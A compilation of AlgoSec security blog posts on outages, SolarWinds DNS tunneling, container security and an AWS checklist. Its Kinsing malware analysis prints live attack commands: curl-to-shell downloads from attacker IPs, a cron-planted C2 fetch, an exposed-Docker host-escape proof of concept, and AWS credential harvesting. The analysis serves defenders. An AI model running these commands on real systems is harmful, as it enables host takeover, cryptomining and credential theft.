Avishai Wool, CTO at AlgoSec, analyses the recent Facebook outage and the risks all organizations face in network configuration Social... Cyber Attacks & Incident Response The Facebook outage and network configuration Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/6/21 Published Avishai Wool, CTO at AlgoSec, analyses the recent Facebook outage and the risks all organizations face in network configuration Social media giant Facebook was involved in a network outage on the 4th October 2021 that lasted for nearly six hours and took its sister platforms Instagram and WhatsApp offline. As the story developed, it became apparent that the incident was caused by a configuration issue within Facebook’s BGP (Border Gateway Protocol), one of the systems that the internet uses to get your traffic where it needs to go as quickly as possible. The outage also cut off the company’s internal communications, along with authentication to third-party services including Google and Zoom. Some reports suggested security passes went offline, which stopped engineers from entering the building to physically reset the data center. The impact was felt worldwide, with Downdetector recording more than 10 million problem reports, the largest number for one single incident. Facebook released an official statement following the outage stating: “Our engineering teams learned that configuration changes on the backbone routers that coordinate network traffic between our data centers caused issues that interrupted this communication.” While Facebook has assured its users that no data has been lost in this process, the outage is a stark reminder of how small configuration errors can have huge, far-reaching consequences. The fundamentals of application availability At the fundamental level, Facebook suffered from a lack of application availability. When a change was actioned, it caused a major chain reaction that ultimately wiped Facebook and its related services from the internet because they couldn’t see the entire lifecycle of that change and the impact it would have. To avoid an incident like this in the future, organizations should consider a few simple steps: Back up configuration files to allow for rollbacks should an issue arise Use a test system alongside live processes to run scenarios without causing any disruptions Retain low-tech alternatives to guarantee access to the network if the primary route fails The outages across Facebook’s infrastructure highlight the operational risks all organizations face around faulty configuration changes which can drastically impact application availability. Intelligent automation, thorough change management and proactive checks are key to avoid these outages. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Webinars Panel: 5 ways to Better Manage your Network Security in 2020 Is your network ready for 2020? What practical steps are you taking to prepare for even more demanding security management in the new year? In this live panel discussion, Yitzy Tannenbaum, Product Marketing Manager and Avishai Wool, AlgoSec’s co-founder and CTO, will cover 5 practicalsteps to help you better manage your network security in the new year. Address these pressing network security challenges: Preventing breaches due to network misconfigurations Managing complex compliance requirements Determine the intention of your security controls and embracing intent-based network security Implementing datacenter micro-segmentation Understanding the shared responsibility model and effectively managing cloud security Kick off the new year better prepared to face the network security management challenges – don’t miss this important discussion. January 9, 2020 Prof. Avishai Wool CTO & Co Founder AlgoSec Yitzy Tannenbaum Product Marketing Manager Relevant resources Network security management: Components & features Keep Reading 5 Network Security Management Predictions for 2020 Watch Video 2020 vision predictions for the year ahead in network security Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

The aim of this post is to provide a very high-level illustration of the DNS Tunneling method used in the SolarWinds supply chain attack.... Cloud Security DNS Tunneling In The SolarWinds Supply Chain Attack Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/23/20 Published The aim of this post is to provide a very high-level illustration of the DNS Tunneling method used in the SolarWinds supply chain attack . An Attacker compromises SolarWinds company and trojanizes a DLL that belongs to its software. Some of the customers receive the malicious DLL as an update for the SolarWinds Orion software. “Corporation XYZ” receives the malicious and digitally signed DLL via update. SolarWinds Orion software loads the malicious DLL as a plugin. Once activated, the DLL reads a local domain name “local.corp-xyz.com” (a fictious name). The malware encrypts the local domain name and adds it to a long domain name. The long domain name is queried with a DNS server (can be tapped by a passive DNS sensor). The recursive DNS server is not authorized to resolve avsvmcloud[.]com, so it forwards the request. An attacker-controlled authoritative DNS server resolves the request with a wildcard A record. The Attacker checks the victim’s name, then adds a CNAME record for the victim’s domain name. The new CNAME record resolves the long domain name into an IP of an HTTP-based C2 server. The malicious DLL downloads and executes the 2nd stage malware (TearDrop, Cobalt Strike Beacon). A Threat Researcher accesses the passive DNS (pDNS) records. One of the long domain names from the pDNS records is decrypted back into “local.corp-xyz.com”. The Researcher deducts that the decrypted local domain name belongs to “Corporation XYZ”. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Tsippi Dach, Director of Communications at AlgoSec, explores what happened during this past summer’s Fastly outage, and explores how your... Application Connectivity Management The great Fastly outage Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/29/21 Published Tsippi Dach, Director of Communications at AlgoSec, explores what happened during this past summer’s Fastly outage, and explores how your business can protect itself in the future. The odds are that before June 8th you probably hadn’t heard of Fastly unless you were a customer. It was only when swathes of the internet went down with the 503: Service Unavailable error message that the edge cloud provider started to make headlines . For almost an hour, sites like Amazon and eBay were inaccessible, costing millions of dollars’ worth of revenue. PayPal, which processed roughly $106 million worth of transactions per hour throughout 2020, was also impacted, and disruption at Shopify left thousands of online retail businesses unable to serve customers. While the true cost of losing a significant portion of the internet for almost one hour is yet to be tallied, we do know what caused it. What is Fastly and why did it break the internet? Fastly is a US-based content distribution network (CDN), sometimes referred to as an ‘edge cloud provider.’ CDNs relieve the load on a website’s servers and ostensibly improve performance for end-users by caching copies of web pages on a distributed network of servers that are geographically closer to them. The downside is that when a CDN goes down – due to a configuration error in Fastly’s case – it reveals just how vulnerable businesses are to forces outside of their control. Many websites, perhaps even yours, are heavily dependent on a handful of cloud-based providers. When these providers experience difficulties, the consequences for your business are amplified ten-fold. Not only do you run the risk of long-term and costly disruption, but these weak links can also provide a golden opportunity for bad actors to target your business with malicious software that can move laterally across your network and cause untold damage. How micro-segmentation can help The security and operational risks caused by these outages can be easily mitigated by implementing plans that should already be part of an organization’s cyber resilience strategy. One aspect of this is micro-segmentation , which is regarded as one of the most effective methods to limit the damage of an intrusion or attack and therefore limit large-scale downtime from configuration misfires and cyberattacks. Micro-segmentation is the act of creating secure “zones” in data centers and cloud deployments that allow your company to isolate workloads from one another. In effect, this makes your network security more compartmentalized, so that if a bad actor takes advantage of an outage in order to breach your organization’s network, or user error causes a system malfunction, you can isolate the incident and prevent lateral impact. Simplifying micro-segmentation with AlgoSec Security Management Suite The AlgoSec Security Management Suite employs the power of automation to make it easy for businesses to define and enforce their micro-segmentation strategy, ensuring that it does not block critical business services, and also meets compliance requirements. AlgoSec supports micro-segmentation by: Mapping the applications and traffic flows across your hybrid network Identifying unprotected network flows that do not cross any firewall and are not filtered for an application Automatically identifying changes that will violate the micro-segmentation strategy Ensuring easy management of network security policies across your hybrid network Automatically implementing network security policy changes Automatically validating changes Generating a custom report on compliance with the micro-segmentation policy Find out more about how micro-segmentation can help you boost your security posture, or request your personal demo . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

In the rapidly evolving landscape of technology, containers have become a cornerstone for deploying and managing applications efficiently. However, with the increasing reliance on containers, understanding their intricacies and addressing security concerns has become paramount. In this blog, we will delve into the fundamental concept of containers and explore the crucial security challenges they pose. Additionally, we will introduce a cutting-edge solution from AlgoSec, Horizon ACE, that... Cloud Network Security Enhancing container security: A comprehensive overview and solution Nitin Rajput 2 min read Nitin Rajput Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. cloudsecurity, cnapp, networksecurity Tags Share this article 1/23/24 Published In the rapidly evolving landscape of technology, containers have become a cornerstone for deploying and managing applications efficiently. However, with the increasing reliance on containers, understanding their intricacies and addressing security concerns has become paramount. In this blog, we will delve into the fundamental concept of containers and explore the crucial security challenges they pose. Additionally, we will introduce a cutting-edge solution from AlgoSec, Horizon ACE, that empowers organizations to fortify their containerized environments. Understanding containers At its core, a container is a standardized software package that seamlessly bundles and isolates applications for deployment. By encapsulating an application’s code and dependencies, containers ensure consistent performance across diverse computing environments. Notably, containers share access to an operating system (OS) kernel without the need for traditional virtual machines (VMs), making them an ideal choice for running microservices or large-scale applications. Security concerns in containers Container security encompasses a spectrum of risks, ranging from misconfigured privileges to malware infiltration in container images. Key concerns include using vulnerable container images, lack of visibility into container overlay networks, and the potential spread of malware between containers and operating systems. Recognizing these challenges is the first step towards building a robust security strategy for containerized environments. Introducing Horizon ACE’s innovative solution At AlgoSec, we've identified an advanced approach to mitigating container security risks. Horizon ACE’s Cloud-Native Application Protection Platform (CNAPP) is an unparalleled, agentless solution designed to enhance visibility into security and compliance gaps. This empowers cloud operations and security teams to prioritize risks and adhere to internet security benchmarks effectively. Dynamic threat protection for containers Horizon ACE’s focus on threat protection for containers involves a comprehensive static and dynamic analysis. In the static analysis phase, Horizon ACE meticulously scans packages for malware and known vulnerabilities, ensuring that container images are free from Common Vulnerabilities and Exposures (CVEs) or viruses during the deployment process. On the dynamic analysis front, Horizon ACE employs a multifaceted approach, including: Behavioral analysis : Identifying malware that evades static scanners by analyzing dynamic payloads. Network traffic inspection : Intercepting and inspecting all container-generated network traffic, including HTTPS, to detect any anomalous patterns. Activity correlation : Establishing a visual hierarchy, presented as a force-directed graph, to identify problematic containers swiftly. This includes monitoring new file executions and executed scripts within shells, enabling the identification of potential remote access points. In conclusion, container security is a critical aspect of modern application deployment. By understanding the nuances of containers and using solutions like Horizon ACE's CNAPP, organizations can fortify their cloud-native applications, mitigate risks, and ensure compliance in an ever-evolving digital landscape. #cloudsecurity #CNAPP #networksecurity Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

A practical AWS security checklist will help you identify and address vulnerabilities quickly. In the process, ensure your cloud security posture is up-to-date with industry standards. This post will walk you through an 8-point AWS security checklist. We’ll also share the AWS security best practices and how to implement them. The AWS shared responsibility model AWS shared responsibility model is a paradigm that describes how security duties are split between AWS and its clients. This... Cloud Security The Comprehensive 9-Point AWS Security Checklist Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 2/20/23 Published A practical AWS security checklist will help you identify and address vulnerabilities quickly. In the process, ensure your cloud security posture is up-to-date with industry standards. This post will walk you through an 8-point AWS security checklist. We’ll also share the AWS security best practices and how to implement them. The AWS shared responsibility model AWS shared responsibility model is a paradigm that describes how security duties are split between AWS and its clients. This approach considers AWS a provider of cloud security architecture. And customers still protect their individual programs, data, and other assets. AWS’s Responsibility According to this model, AWS maintains the safety of the cloud structures. This encompasses the network, the hypervisor, the virtualization layer, and the physical protection of data centers. AWS also offers clients a range of safety precautions and services. They include surveillance tools, a load balancer, access restrictions, and encryption. Customer Responsibility As a customer, you are responsible for setting up AWS security measures to suit your needs. You also do this to safeguard your information, systems, programs, and operating systems. Customer responsibility entails installing reasonable access restrictions and maintaining user profiles and credentials. You can also watch for security issues in your work setting. Let’s compare the security responsibilities of AWS and its customers in a table: Comprehensive 8-point AWS security checklist 1. Identity and access management (IAM) 2. Logical access control 3. Storage and S3 4. Asset management 5. Configuration management. 6. Release and deployment management 7. Disaster recovery and backup 8. Monitoring and incidence management Identity and access management (IAM) IAM is a web service that helps you manage your company’s AWS access and security. It allows you to control who has access to your resources or what they can do with your AWS assets. Here are several IAM best practices: Replace access keys with IAM roles. Use IAM roles to provide AWS services and apps with the necessary permissions. Ensure that users only have permission to use the resources they need. Do this by implementing the concept of least privilege . Whenever communicating between a client and an ELB, use secure SSL versions. Use IAM policies to specify rights for user groups and centralized access management. Use IAM password policies to impose strict password restrictions on all users. Logical access control Logical access control involves controlling who accesses your AWS resources. This step also entails deciding the types of actions that users can perform on the resources. You can do this by allowing or denying access to specific people based on their position, job function, or other criteria. Logical access control best practices include the following: Separate sensitive information from less-sensitive information in systems and data using network partitioning Confirm user identity and restrict the usage of shared user accounts. You can use robust authentication techniques, such as MFA and biometrics. Protect remote connectivity and keep offsite access to vital systems and data to a minimum by using VPNs. Track network traffic and spot shady behavior using the intrusion detection and prevention systems (IDS/IPS). Access remote systems over unsecured networks using the secure socket shell (SSH). Storage and S3 Amazon S3 is a scalable object storage service where data may be stored and retrieved. The following are some storage and S3 best practices: Classify the data to determine access limits depending on the data’s sensitivity. Establish object lifecycle controls and versioning to control data retention and destruction. Use the Amazon Elastic Block Store (Amazon EBS) for this process. Monitor the storage and audit accessibility to your S3 buckets using Amazon S3 access logging. Handle encryption keys and encrypt confidential information in S3 using the AWS Key Management Service (KMS). Create insights on the current state and metadata of the items stored in your S3 buckets using Amazon S3 Inventory. Use Amazon RDS to create a relational database for storing critical asset information. Asset management Asset management involves tracking physical and virtual assets to protect and maintain them. The following are some asset management best practices: Determine all assets and their locations by conducting routine inventory evaluations. Delegate ownership and accountability to ensure each item is cared for and kept safe. Deploy conventional and digital safety safeguards to stop illegal access or property theft. Don’t use expired SSL/TLS certificates. Define standard settings to guarantee that all assets are safe and functional. Monitor asset consumption and performance to see possible problems and possibilities for improvement. Configuration management. Configuration management involves monitoring and maintaining server configurations, software versions, and system settings. Some configuration management best practices are: Use version control systems to handle and monitor modifications. These systems can also help you avoid misconfiguration of documents and code . Automate configuration updates and deployments to decrease user error and boost consistency. Implement security measures, such as firewalls and intrusion sensing infrastructure. These security measures will help you monitor and safeguard setups. Use configuration baselines to design and implement standard configurations throughout all platforms. Conduct frequent vulnerability inspections and penetration testing. This will enable you to discover and patch configuration-related security vulnerabilities. Release and deployment management Release and deployment management involves ensuring the secure release of software and systems. Here are some best practices for managing releases and deployments: Use version control solutions to oversee and track modifications to software code and other IT resources. Conduct extensive screening and quality assurance (QA) processes. Do this before publishing and releasing new software or updates. Use automation technologies to organize and distribute software upgrades and releases. Implement security measures like firewalls and intrusion detection systems. Disaster recovery and backup Backup and disaster recovery are essential elements of every organization’s AWS environment. AWS provides a range of services to assist clients in protecting their data. The best practices for backup and disaster recovery on AWS include: Establish recovery point objectives (RPO) and recovery time objectives (RTO). This guarantees backup and recovery operations can fulfill the company’s needs. Archive and back up data using AWS products like Amazon S3, flow logs, Amazon CloudFront and Amazon Glacier. Use AWS solutions like AWS Backup and AWS Disaster Recovery to streamline backup and recovery. Use a backup retention policy to ensure that backups are stored for the proper amount of time. Frequently test backup and recovery procedures to ensure they work as intended. Redundancy across many regions ensures crucial data is accessible during a regional outage. Watch for problems that can affect backup and disaster recovery procedures. Document disaster recovery and backup procedures. This ensures you can perform them successfully in the case of an absolute disaster. Use encryption for backups to safeguard sensitive data. Automate backup and recovery procedures so human mistakes are less likely to occur. Monitoring and incidence management Monitoring and incident management enable you to track your AWS environment and respond to any issues. Amazon web services monitoring and incident management best practices include: Monitoring API traffic and looking for any security risks with AWS CloudTrail. Use AWS CloudWatch to track logs, performance, and resource usage. Set up modifications to AWS resources and monitor for compliance problems using AWS Config. Combine and rank security warnings from various AWS user accounts and services using AWS Security groups. Using AWS Lambda and other AWS services to implement automated incident response procedures. Establish a plan for responding to incidents that specify roles and obligations and define a clear escalation path. Exercising incident response procedures frequently to make sure the strategy works. Checking for flaws in third-party applications and applying quick fixes. The use of proactive monitoring to find possible security problems before they become incidents. Train your staff on incident response best practices. This way, you ensure that they’ll respond effectively in case of an incident. Top challenges of AWS security DoS attacks A Distributed denial of service (DDoS) attack poses a huge security risk to AWS systems. It involves an attacker bombarding a network with traffic from several sources. In the process, straining its resources and rendering it inaccessible to authorized users. To minimize this sort of danger, your DevOps should have a thorough plan to mitigate this sort of danger. AWS offers tools and services, such as AWS Shield, to assist fight against DDoS assaults. Outsider AWS compromise. Hackers can use several strategies to get illegal access to your AWS account. For example, they may use psychological manipulation or exploit software flaws. Once outsiders gain access, they may use data outbound techniques to steal your data. They can also initiate attacks on other crucial systems. Insider threats Insiders with permission to access your AWS resources often pose a huge risk. They can damage the system by modifying or stealing data and intellectual property. Only grant access to authorized users and limit the access level for each user. Monitor the system and detect any suspicious activities in real-time. Root account access The root account has complete control over an AWS account and has the highest degree of access.Your security team should access the root account only when necessary. Follow AWS best practices when assigning root access to IAM users and parties. This way, you can ensure that only those who should have root access can access the server. Security best practices when using AWS Set strong authentication policies. A key element of AWS security is a strict authentication policy. Implement password rules, demanding solid passwords and frequent password changes to increase security. Multi-factor authentication (MFA) is a recommended security measure for access control. It involves a user providing two or more factors, such as an ID, password, and token code, to gain access. Using MFA can improve the security of your account. It can also limit access to resources like Amazon Machine Images (AMIs). Differentiate security of cloud vs. in cloud Do you recall the AWS cloud shared responsibility model? The customer handles configuring and managing access to cloud services. On the other hand, AWS provides a secure cloud infrastructure. It provides physical security controls like firewalls, intrusion detection systems, and encryption. To secure your data and applications, follow the AWS shared responsibility model. For example, you can use IAM roles and policies to set up virtual private cloud VPCs. Keep compliance up to date AWS provides several compliance certifications for HIPAA, PCI DSS, and SOC 2. The certifications are essential for ensuring your organization’s compliance with industry standards. While NIST doesn’t offer certifications, it provides a framework to ensure your security posture is current. AWS data centers comply with NIST security guidelines. This allows customers to adhere to their standards. You must ensure that your AWS setup complies with all legal obligations as an AWS client. You do this by keeping up with changes to your industry’s compliance regulations. You should consider monitoring, auditing, and remedying your environment for compliance. You can use services offered by AWS, such as AWS Config and AWS CloudTrail log, to perform these tasks. You can also use Horizon ACE to identify and remediate non-compliance events quickly. It enables customers to ensure their compliance with industry and government standards. The final word on AWS security You need a credible AWS security checklist to ensure your environment is secure. Cloud Security Posture Management solutions produce AWS security checklists. They provide a comprehensive report to identify gaps in your security posture and processes for closing them. With a CSPM tool like Horizon ACE , you can audit your AWS environment. And identify misconfigurations that may lead to vulnerabilities. It comes with a vulnerability assessment and anti-malware scan that can help you detect malicious activities immediately. In the process, your AWS environment becomes secure and compliant with industry standards. Horizon ACE comes as cloud native application protection platform (CNAPP). It combines CSPM, CIEM and all the other important cloud security features into one tool. This way, you’ll get better visibility of your cloud security on one platform. Try Horizon ACE today! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Enterprises are embracing cloud platforms to drive innovation, enhance operational efficiency, and gain a competitive edge. Cloud services provided by industry giants like Google Cloud Platform (GCP), Azure, AWS, IBM, and Oracle offer scalability, flexibility, and cost-effectiveness that make them an attractive choice for businesses. One of the significant trends in cloud-native application development is the adoption of containerized applications, serverless architectures, and microservices.... Hybrid Cloud Security Management Securing Cloud-Native Environments: Containerized Applications, Serverless Architectures, and Microservices Malcom Sargla 2 min read Malcom Sargla Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/6/23 Published Enterprises are embracing cloud platforms to drive innovation, enhance operational efficiency, and gain a competitive edge. Cloud services provided by industry giants like Google Cloud Platform (GCP), Azure, AWS, IBM, and Oracle offer scalability, flexibility, and cost-effectiveness that make them an attractive choice for businesses. One of the significant trends in cloud-native application development is the adoption of containerized applications, serverless architectures, and microservices. While these innovations bring numerous benefits, they also introduce unique security risks and vulnerabilities that organizations must address to ensure the safety of their cloud-native environments. The Evolution of Cloud-Native Applications Traditionally, organizations relied on on-premises data centers and a set of established security measures to protect their critical applications and data. However, the shift to cloud-native applications necessitates a reevaluation of security practices and a deeper understanding of the challenges involved. Containers: A New Paradigm Containers have emerged as a game-changer in the world of cloud-native development. They offer a way to package applications and their dependencies, ensuring consistency and portability across different environments. Developers appreciate containers for their ease of use and rapid deployment capabilities, but this transition comes with security implications that must not be overlooked. One of the primary concerns with containers is the need for continuous scanning and vulnerability assessment. Developers may inadvertently include libraries with known vulnerabilities, putting the entire application at risk. To address this, organizations should leverage container scanning tools that assess images for vulnerabilities before they enter production. Tools like 